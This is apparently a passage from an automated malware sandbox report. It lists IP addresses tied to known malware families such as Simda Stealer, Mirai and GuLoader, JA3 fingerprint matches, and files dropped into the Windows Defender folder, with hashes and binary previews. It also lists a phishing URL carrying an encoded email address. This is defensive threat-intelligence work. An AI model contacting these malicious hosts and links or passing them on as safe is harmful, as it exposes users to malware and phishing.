                                                                                                                                                                                                          NBS11696USuavINoSIQh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 64.190.63.136
                                                                                                                                                                                                          7DAKMhINGk.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 64.190.63.136
                                                                                                                                                                                                          sh4.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                          • 209.87.95.110
                                                                                                                                                                                                          jklarm5.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 64.190.7.239
                                                                                                                                                                                                          x86_64.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                                                                          • 64.190.99.77
                                                                                                                                                                                                          ppc.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                          • 209.87.95.120
                                                                                                                                                                                                          powerpc.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                          • 209.87.95.115
                                                                                                                                                                                                          na.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                          • 209.87.95.125
                                                                                                                                                                                                          na.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                          • 209.87.95.125
                                                                                                                                                                                                          na.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                          • 209.87.95.125
                                                                                                                                                                                                          LIQUIDWEBUSuavINoSIQh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 72.52.179.174
                                                                                                                                                                                                          7DAKMhINGk.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 72.52.179.174
                                                                                                                                                                                                          sora.sh4.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                          • 69.167.163.88
                                                                                                                                                                                                          SHIPPING DOC.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • 50.28.1.56
                                                                                                                                                                                                          AENiBH7X1q.exeGet hashmaliciousPureLog Stealer, RedLineBrowse
                                                                                                                                                                                                          • 72.52.178.23
                                                                                                                                                                                                          E_dekont.cmdGet hashmaliciousDBatLoader, Nitol, PureLog Stealer, XWormBrowse
                                                                                                                                                                                                          • 72.52.178.23
                                                                                                                                                                                                          AsusSetup.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 72.52.178.23
                                                                                                                                                                                                          SetupRST.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 72.52.178.23
                                                                                                                                                                                                          AsusSetup.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 72.52.178.23
                                                                                                                                                                                                          jklx86.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 96.30.37.143
                                                                                                                                                                                                          AMAZON-AESUSuavINoSIQh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 44.221.84.105
                                                                                                                                                                                                          7DAKMhINGk.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 44.221.84.105
                                                                                                                                                                                                          sora.mpsl.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                          • 44.210.24.233
                                                                                                                                                                                                          Attachment-914011545-004.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 54.144.73.197
                                                                                                                                                                                                          http://swctch.comGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 52.2.182.50
                                                                                                                                                                                                          Payslip Notification #5800210900 11112024.emlGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 23.22.254.206
                                                                                                                                                                                                          90876654545.exeGet hashmaliciousDBatLoader, FormBookBrowse
                                                                                                                                                                                                          • 3.5.11.187
                                                                                                                                                                                                          GE AEROSPACE _WIRE REMITTANCE.xlsxGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 54.167.120.151
                                                                                                                                                                                                          Sampension-file-846845087.pdfGet hashmaliciousCaptcha PhishBrowse
                                                                                                                                                                                                          • 52.21.71.129
                                                                                                                                                                                                          https://www.google.com/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=rqjkphmdlmFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Ftao.bb/RTupG#dGFla3l1LmtpbUBoeXVuZGFpZWxldmF0b3IuY29tGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                          • 23.22.158.217
                                                                                                                                                                                                          CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtduavINoSIQh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 106.15.232.163
                                                                                                                                                                                                          7DAKMhINGk.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 106.15.232.163
                                                                                                                                                                                                          sora.mpsl.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                          • 120.79.48.98
                                                                                                                                                                                                          sora.mips.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                          • 8.188.166.167
                                                                                                                                                                                                          mips.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 47.93.221.102
                                                                                                                                                                                                          C6y77dS3l7.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 118.31.219.198
                                                                                                                                                                                                          Wiu8X6685m.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 118.31.219.198
                                                                                                                                                                                                          WUa1Tm8Dlv.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 118.31.219.198
                                                                                                                                                                                                          yakuza.arm4.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 47.126.44.187
                                                                                                                                                                                                          botnet.sh4.elfGet hashmaliciousMirai, MoobotBrowse
                                                                                                                                                                                                          • 47.112.29.92

                                                                                                                                                                                                          JA3 Fingerprints

                                                                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                          37f463bf4616ecd445d4a1937da06e19uavINoSIQh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 188.114.97.3
                                                                                                                                                                                                          • 99.83.170.3
                                                                                                                                                                                                          • 188.114.96.3
                                                                                                                                                                                                          • 75.2.71.199
                                                                                                                                                                                                          7DAKMhINGk.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 188.114.97.3
                                                                                                                                                                                                          • 99.83.170.3
                                                                                                                                                                                                          • 188.114.96.3
                                                                                                                                                                                                          • 75.2.71.199
                                                                                                                                                                                                          11315781264#U00b7pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                                                                                                          • 188.114.97.3
                                                                                                                                                                                                          • 99.83.170.3
                                                                                                                                                                                                          • 188.114.96.3
                                                                                                                                                                                                          • 75.2.71.199
                                                                                                                                                                                                          P52mX04112024145925383.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                                                                                                                                          • 188.114.97.3
                                                                                                                                                                                                          • 99.83.170.3
                                                                                                                                                                                                          • 188.114.96.3
                                                                                                                                                                                                          • 75.2.71.199
                                                                                                                                                                                                          Factura Honorarios 2024-11-04.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                                                                                          • 188.114.97.3
                                                                                                                                                                                                          • 99.83.170.3
                                                                                                                                                                                                          • 188.114.96.3
                                                                                                                                                                                                          • 75.2.71.199
                                                                                                                                                                                                          CERTIFICADO TITULARIDAD.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                                                                                          • 188.114.97.3
                                                                                                                                                                                                          • 99.83.170.3
                                                                                                                                                                                                          • 188.114.96.3
                                                                                                                                                                                                          • 75.2.71.199
                                                                                                                                                                                                          Anfrage.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                                                                                                                                          • 188.114.97.3
                                                                                                                                                                                                          • 99.83.170.3
                                                                                                                                                                                                          • 188.114.96.3
                                                                                                                                                                                                          • 75.2.71.199
                                                                                                                                                                                                          Quotation.exeGet hashmaliciousAgentTesla, GuLoaderBrowse
                                                                                                                                                                                                          • 188.114.97.3
                                                                                                                                                                                                          • 99.83.170.3
                                                                                                                                                                                                          • 188.114.96.3
                                                                                                                                                                                                          • 75.2.71.199
                                                                                                                                                                                                          Request for Quotation 11-11-2024#U00b7pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                                                                                                          • 188.114.97.3
                                                                                                                                                                                                          • 99.83.170.3
                                                                                                                                                                                                          • 188.114.96.3
                                                                                                                                                                                                          • 75.2.71.199
                                                                                                                                                                                                          074c592b-5cc0-496d-b3fa-45a09d4363ce#U00b7pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                                                                                                          • 188.114.97.3
                                                                                                                                                                                                          • 99.83.170.3
                                                                                                                                                                                                          • 188.114.96.3
                                                                                                                                                                                                          • 75.2.71.199

                                                                                                                                                                                                          Dropped Files

                                                                                                                                                                                                          ⊘No context

                                                                                                                                                                                                          Created / dropped Files

                                                                                                                                                                                                          C:\Program Files (x86)\Windows Defender\galynuh.com

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):593
                                                                                                                                                                                                          Entropy (8bit):7.626935561277827
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:12:NXnYWSLEmM3e7/EzZUimtdHCD6B+HAwQ0m7xs01O58/fTU6i0rSZd09LQ:FYWSLdM3CENUJtd85IsWO58NGd09k
                                                                                                                                                                                                          MD5:926512864979BC27CF187F1DE3F57AFF
                                                                                                                                                                                                          SHA1:ACDEB9D6187932613C7FA08EAF28F0CD8116F4B5
                                                                                                                                                                                                          SHA-256:B3E893A653EC06C05EE90F2F6E98CC052A92F6616D7CCA8C416420E178DCC73F
                                                                                                                                                                                                          SHA-512:F6F9FD3CA9305BEC879CFCD38E64111A18E65E30D25C49E9F2CD546CBAB9B2DCD03ECA81952F6B77C0EAAB20192EF7BEF0D8D434F6F371811929E75F8620633B
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:....tp.-$|e.V...(.m.y;.;..>...O`.<.]..&@...0..P....:.(...{i1r....H...i......=$.<.v&1...%e..r..(}b;.U...A.f..K8S.9IM.R.....!.._.....N':.. ..s..!IX..ZK..q..T..v.%.....0...fn.........b...../...\..O8....M...i.ZF.r.C.)~qO..T..{...x..g.......$.t.m;..|.R.33...; ...N.#..rN.A.c.D.w.?0.%D.i..1...5..[.,......ir.Z.`.....+.8..Y.....'>./l..qZ..#1F..F...=./,.&.....e.Q..$.mZZAZ........P...=T.u.H]^n|..h_s.n....r..I..U.T..%N$.B..jj.\..*...Z.';-.....5...#..u.P..k...\..:.'..l8n<C.s.SJ..4....%OE.L2..Ir....U...d.CP....m<.TG?.u..iLj*....H.H...?G..*O..tE..9..%.<+<......_.w..*S....

                                                                                                                                                                                                          C:\Program Files (x86)\Windows Defender\galyqaz.com

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):43360
                                                                                                                                                                                                          Entropy (8bit):7.989963401782778
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:768:A6eLDU7W3WFK7jWC7qILQs3VmXYouw4MXo9hTlcH/x/S6m0/lVvgBQycLu:AD33bvWC7n73Yxxo950/U0/roBFci
                                                                                                                                                                                                          MD5:8E64B21E596D45FD6D98F9DE9071D166
                                                                                                                                                                                                          SHA1:5F3A7C93D556217A2CFCA93DAF935FD579391991
                                                                                                                                                                                                          SHA-256:5B086A2B53F566E74A046DE8852840D4D94E16C2DD129BDDB3A5EFD4E6F573C3
                                                                                                                                                                                                          SHA-512:80AD4D2BC7719F3E7547222DFF30439914AD254C6BF869D6410A15E5F81DA0BA37407B6172591BA3B4324F81882D8709412AC0B741940F3B7BDC00D78E0E6221
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:...[..A.9l....A.D.[;.b..DD...}..n.o.zL......._O....r.:...%m8s...o..e....;+.q.o`3...%"..P.(}h1.H.;....%...$).|...Y.V...:..B..X..Tsa...-.P+..?........8...R..w.q.....qV.O.+.......d.....7.Z.N..V-........i.Y..s.G./pe^......M..7..+..NI.\..l.1.d...`U..zc...7 ....!.7d.Z....Q.y.)u.o..'].v...;.....m......ah...?.......1W.Q....+<..<..|^..fT.G....t..91.*.....~V..Oq.).. ..W...3...C...iE. ^...f&..+.#.'....w.._...I...k.k.L[.:.....f.+.Y.'9wE..5.(...$.&p...V>E...s.'...m;jpJ..R....:J...f.O..c.YJ8....L...4.X.....k#.dEw..... .j}..f..A........*..IU...=..5;.c.wx}@..k..R..i.L%L....e.}.#.l1...{..x.q..9s.f'b\;...X....b.X..A:.....y.w.&.+.{.j....n.JlP&$.7.....0........B.U.r.!@.G.,.:.c.>..IOx.:..^....".v..g;...-.u...."..$....+..k......aT..`op......*.............l..+)..y.Z`.........E...M..'w..%.9...G..7R...R.7:uG...|d....X..h...e...A".....O.). v....$Q....5.....;..*lU...L.....l.M.M8..4G.SkK.........q..3O...6..]..j.........y..59uC.Y'... :.c.h..b"1q. .....bk.(..

                                                                                                                                                                                                          C:\Program Files (x86)\Windows Defender\pupydeq.com

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):114
                                                                                                                                                                                                          Entropy (8bit):6.479691220248167
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:elfPZkATGqaNh/bf4/o/flD2qNJ5ZmANv:elfhkVNh/L4kl2qNJ5ZmAx
                                                                                                                                                                                                          MD5:BFDE1E9E9C32C1681A16139450C6909D
                                                                                                                                                                                                          SHA1:7E669B927E6A75A10A0CA29E38E58DDCB49B725E
                                                                                                                                                                                                          SHA-256:E0D020BA1CB6506CEE234903A44C747EE0CFA7E2D1E60029E4CD8DE9A431512A
                                                                                                                                                                                                          SHA-512:781FD54F155442DD34F9919B3CD063EE399DB411BBFE15F2BDC43D3AB8AC2D04E1011B2C99FAB42BEBF7B903A94E09AAAEF71B7A465D2D04B417F6DAD8E8E396
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:...[..A.9l.....|.e.&'.*.-K...P-.p.R...9L....%........'.=...bto2..X...f.....@pg.>..ac...69..z...}/<.MF9...h..

                                                                                                                                                                                                          C:\Program Files (x86)\Windows Defender\puzylyp.com

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):59521
                                                                                                                                                                                                          Entropy (8bit):7.972524893534928
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:1536:ZQimNJq4lkHqWmHwEyivDfOoG5tN06d+1h:ZRukFmHy4rG5tUh
                                                                                                                                                                                                          MD5:130380EE83250125DA1EE80F83658552
                                                                                                                                                                                                          SHA1:A9BFDF1FF251982DBF5D5CD569E7CADA7A991668
                                                                                                                                                                                                          SHA-256:5338DBA8A3AA260545117E6C768760C122247579254D30D97062BC0B67CCD0E4
                                                                                                                                                                                                          SHA-512:5D49229FE1EEB1E45B2EE13A8C6C63456346D6FD515A66E7368452EEF9164C9C5C80BB4254E6CEA52DF247B4771C1F403A32A3A63939EBDA41605710A3EC1A3F
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:...[..A.9l.....|.e.8w.!..1....j..r.^..r.....'..>....=.s.$$71...I...i.....==.7.rg~..j#.`S..y0,F..%....c...Kr).#FB...B...........H<*../.. ..>.Y......:X..G..4.j....{W.A. ........*.....6.P.Q..[).\.T...z.PK.n.P.2, ..CG..,...q..c....S.}.f..K..8...y=..+*...S.b..cAMN.a.U.q.c3.9^.hD.+..'.....-.....(t...|.....(.$.......`<..n..|A..7.W..W...u..(eX&....C8....(.'..V..O.......F...:ET;^.B..(.N*.:.a....n..........'A:..Q.!j..J.m.=.^.-=-.....*..>..bvF..K.H....8.9...g?=+..D.....9@...'ON.G'.J./....P..x.UGRWH.{8...u......jY(h..7..V.......i(..|...,..|;.e.+<;...l..I..,.Kf^....$.&.$.|7....h..6Rn..+z.~/4W(......f.P..R6.....[a.~.h.+.u.[...sO.(Fzy.;.....<...A..@..N...<. ..Z... .g.+....p.(........#....r6.. Eo....3......jIg}.....z_..)'+....p............P?..h1..x.Nk.....M...Z.......0+.Yf.+.O.M..&V...X.fofX...wt.L#.R..h...z.....,../......m'..dsn\........V..4Eq....w....7.M.~ ...d.]ij.........1..\.....:.+y..).........O.,..v..C.EH.C.cI.3.:...7=PM.6.....C .d..

                                                                                                                                                                                                          C:\Program Files (x86)\Windows Defender\qetyhyg.com

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):593
                                                                                                                                                                                                          Entropy (8bit):7.626935561277827
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:12:NXnYWSLEmM3e7/EzZUimtdHCD6B+HAwQ0m7xs01O58/fTU6i0rSZd09LQ:FYWSLdM3CENUJtd85IsWO58NGd09k
                                                                                                                                                                                                          MD5:926512864979BC27CF187F1DE3F57AFF
                                                                                                                                                                                                          SHA1:ACDEB9D6187932613C7FA08EAF28F0CD8116F4B5
                                                                                                                                                                                                          SHA-256:B3E893A653EC06C05EE90F2F6E98CC052A92F6616D7CCA8C416420E178DCC73F
                                                                                                                                                                                                          SHA-512:F6F9FD3CA9305BEC879CFCD38E64111A18E65E30D25C49E9F2CD546CBAB9B2DCD03ECA81952F6B77C0EAAB20192EF7BEF0D8D434F6F371811929E75F8620633B
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:....tp.-$|e.V...(.m.y;.;..>...O`.<.]..&@...0..P....:.(...{i1r....H...i......=$.<.v&1...%e..r..(}b;.U...A.f..K8S.9IM.R.....!.._.....N':.. ..s..!IX..ZK..q..T..v.%.....0...fn.........b...../...\..O8....M...i.ZF.r.C.)~qO..T..{...x..g.......$.t.m;..|.R.33...; ...N.#..rN.A.c.D.w.?0.%D.i..1...5..[.,......ir.Z.`.....+.8..Y.....'>./l..qZ..#1F..F...=./,.&.....e.Q..$.mZZAZ........P...=T.u.H]^n|..h_s.n....r..I..U.T..%N$.B..jj.\..*...Z.';-.....5...#..u.P..k...\..:.'..l8n<C.s.SJ..4....%OE.L2..Ir....U...d.CP....m<.TG?.u..iLj*....H.H...?G..*O..tE..9..%.<+<......_.w..*S....

                                                                                                                                                                                                          C:\Program Files (x86)\Windows Defender\qexyhuv.com

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):114
                                                                                                                                                                                                          Entropy (8bit):6.479691220248167
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:elfPZkATGqaNh/bf4/o/flD2qNJ5ZmANv:elfhkVNh/L4kl2qNJ5ZmAx
                                                                                                                                                                                                          MD5:BFDE1E9E9C32C1681A16139450C6909D
                                                                                                                                                                                                          SHA1:7E669B927E6A75A10A0CA29E38E58DDCB49B725E
                                                                                                                                                                                                          SHA-256:E0D020BA1CB6506CEE234903A44C747EE0CFA7E2D1E60029E4CD8DE9A431512A
                                                                                                                                                                                                          SHA-512:781FD54F155442DD34F9919B3CD063EE399DB411BBFE15F2BDC43D3AB8AC2D04E1011B2C99FAB42BEBF7B903A94E09AAAEF71B7A465D2D04B417F6DAD8E8E396
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:...[..A.9l.....|.e.&'.*.-K...P-.p.R...9L....%........'.=...bto2..X...f.....@pg.>..ac...69..z...}/<.MF9...h..

                                                                                                                                                                                                          C:\Program Files (x86)\Windows Defender\vofycot.com

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):25028
                                                                                                                                                                                                          Entropy (8bit):7.979460085616577
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:768:m4ak8nl3r9Htbxcex6Ih+k0ijjWk5rSV4Z8tPzh3XCV5:jJElb9HVTh+8jWKW4S8P
                                                                                                                                                                                                          MD5:07C3098FEE53C5CB71BF0F05E67F5E90
                                                                                                                                                                                                          SHA1:DEA68EBE598CDF27C5B1FDACA77646B20C798E13
                                                                                                                                                                                                          SHA-256:7862546DEA13CE7AD77D0DF7BCA94DAE655EBC670B7530C4441048EB69C62F82
                                                                                                                                                                                                          SHA-512:D3D6F8FF91A2B128268862B72004D405EA83F1F099DE17737AB2B9403761A413BA0229A48016D158850201E92DAAD852CD1CF22FE17ACC938906B04F4AB79792
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:...[..A.9l.....|.e.8w.!..1.....9.:....".....=..9.......z...}yE.....j...I.....<.&.3.l6g...q...d^.X.K6.g`a..;.F.2Sdo.}8..U.g;...H.L.....A.....y.....v.[..K'..."..r..Z2r.....%g..>|.....M#.g..0.1.~.5...`.X..z...SOS(.y.l(v>hH.l...."..q.Yg..%......'.kK...c..Bw..`r..Y.p..c....p.D.l.n .)..%..l...p.....a......h...e....g.<.......;). ?..zI..kW.......&.. :.>.....tW..j:.".........T...M... X.;.TB.'s.^vC>.:.....=..R..VZ..%.k..].>w..O.;.a.R.!-<.....$...$..f4...G.C..R.w.....dyn:....BD..aZ...v.G.C#...l......w.TW.RO.k<.KA.....'./d.. ....H......am.J*...|..d|..|.9 6...x......0.Ww.....l.h.j.m-...~..+.#..v{.*!r.=..^....{.M..H....<?.v.1.h.b.x......n+V#Jo-.6..D._-...SZ....I...~.o..I...;.u.*....n.+.......+FA..mc....:Im.S..8..>....d.Id......zK..qtqH...;..........Z..V/..e9..r..Qw.....k\......M.f#.Xi.D.M....t....RWf&hV...in.Lk...=....x....l.........m&..A(t.............dGs....`....).A.w}..I6..=p.........r..R......s.!%C.;........z...[.Z.....Z.e..).(...#/.G.c......Z(.c..

                                                                                                                                                                                                          C:\Program Files (x86)\Windows Defender\vojyqem.com

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):1094
                                                                                                                                                                                                          Entropy (8bit):7.845642348405241
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:24:IZsdS4WMBLdxezuQj1kZ8l9KfPqiHZ5teGkTXRUubjU:QsSixez1Rg8yn5t5kTXRdjU
                                                                                                                                                                                                          MD5:49983686F457B286C42A11834E4AE73A
                                                                                                                                                                                                          SHA1:81E4798B6632FCE548724C11E14537FA20E9977B
                                                                                                                                                                                                          SHA-256:29F8688592935A2262FDA4B0955F9B43BCDF0F81D2AA611A8BC73AA427AF761D
                                                                                                                                                                                                          SHA-512:DE0FCF7C23CFFC200D8602F46251309E940EB07CE13C57E3E8FC9CCECAFD27EE12FB658B5ABBD220FE240849DA9D7189DA9E757F0EE916800B25274E5BF4AC23
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:...{:.a)9l.....(.|.t;....>....V>.%.B...........%$......P...J^X*..q....z...<.%...U<e..U9.y".[.F7..r5....=.;ZO..*./.......%....}..~:...3;.s...s/2../....2.f..F%H.....uJ.".e.....-.....,....U....L../..~...S$.%.TXC. evx.....t0..e.z=...P....(.r..`..~...}t...0l...D.).Ju.X..c.B.|.lv....5h.:...}...."..R.|g...?.....).2A......op.,8..{Z..7..O.....i..-7.:....[`Q..Pb.(.....L......L...5]W&X...s6..B_s.n......r..._.EZ...m.a._..+>.FO...9.G./u;G..\.`.....7.v..g g./.._.`...H.\.".;x2#..Uj..U.g.c..-@.....O...9..+gn..~y.Asx.>......^..w..+.J.....8!.WaO.0Q.xk..e.1<6...s..[...=.Rv..@...b.i.-.mp....+..x.#..p~.4D(.!.......r..y.B6.....p.c.b.+.e.L....!.E/N;3.x...P=........R..... ..X.-..s. .&.._6z....^......Sd..|......2.)....&......wc....@A..ZsM....."..........\...:...,.9>.6..;R*..|........|.N>.,...K.. s...U9}<g....p5..).B..W...f..S...1.[...J....ohU..........#..lk]...v....|...^L..!^..0@.........$.........R.rGY.{.........O4..Y.[2....Q.c..;..... Z.C.`.......=.c..

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_NcYLgtXIKJgHj.ex_191ad5ea639312cff7437352e3e5dd3555cd58_1382581b_0ca87790-bd51-413e-ba81-96dde7b94f9c\Report.wer

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):65536
                                                                                                                                                                                                          Entropy (8bit):1.0205324866795535
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:gdXreYzdb0BU/NdadDjRJd6TzuiFZZ24IO8TdN:gNrDdoBU/N8xjPCzuiFZY4IO8TH
                                                                                                                                                                                                          MD5:F2235D2CD7428A1B48F942E4ADFEB0A9
                                                                                                                                                                                                          SHA1:69EEC65F30DDC8901A83CA31B5DE812D563C08FC
                                                                                                                                                                                                          SHA-256:82313FDC16256EC5CE41E298D8DD2994F9835207F229D2B305A9C4B818ECC3F3
                                                                                                                                                                                                          SHA-512:2F6A98C53ABF1C8A59A4CE11EF0A78DC5950399CA7248BBECA09E1B5DB209CF7637F52CB091A4CF900A9BFC3CE303C700B4494FE0FC1E76E65A761A40413FF3C
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.1.8.8.2.2.2.4.3.5.1.8.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.1.8.8.2.3.4.6.2.2.6.8.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.c.a.8.7.7.9.0.-.b.d.5.1.-.4.1.3.e.-.b.a.8.1.-.9.6.d.d.e.7.b.9.4.f.9.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.6.8.1.f.b.2.0.-.b.6.6.d.-.4.2.5.d.-.a.2.1.e.-.6.9.9.5.7.5.1.c.8.4.2.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.N.c.Y.L.g.t.X.I.K.J.g.H.j...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.0.5.4.-.0.0.0.1.-.0.0.1.5.-.5.5.0.6.-.4.8.f.1.5.c.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.3.f.c.b.1.b.9.6.5.8.0.0.d.3.d.7.2.1.3.4.d.a.e.3.7.7.0.a.e.a.3.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.N.c.Y.L.g.t.X.I.K.J.g.H.j...e.x.e.....T.a.r.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_NcYLgtXIKJgHj.ex_191ad5ea639312cff7437352e3e5dd3555cd58_1382581b_1d7f431f-f9cb-4e9c-bfbf-ed80f22385e4\Report.wer

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):65536
                                                                                                                                                                                                          Entropy (8bit):0.9525353247285947
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:lReYzEb0BU/NdadDjRJduzuiFZZ24IO8TdN+:DDEoBU/N8xjPczuiFZY4IO8TH
                                                                                                                                                                                                          MD5:BDEF8F6FA8B85BC6BDFFD6CE3EB4FB86
                                                                                                                                                                                                          SHA1:7480FD472226E234AA4BAD64FECFB0CE2880E1EC
                                                                                                                                                                                                          SHA-256:B01C538917D9DD3A5777ED23B19E6B7B4A2BC982715F53E5BA7F506DF7ACDC97
                                                                                                                                                                                                          SHA-512:332BAF55BD89C54615CB9FF2A8A079A24EA8723B9F43A973B09C32118C851301C5FCB7D9857AABB3B8631E24143794FD3F60600F5CB8C74BFF1360BB388F838E
                                                                                                                                                                                                          Malicious:false
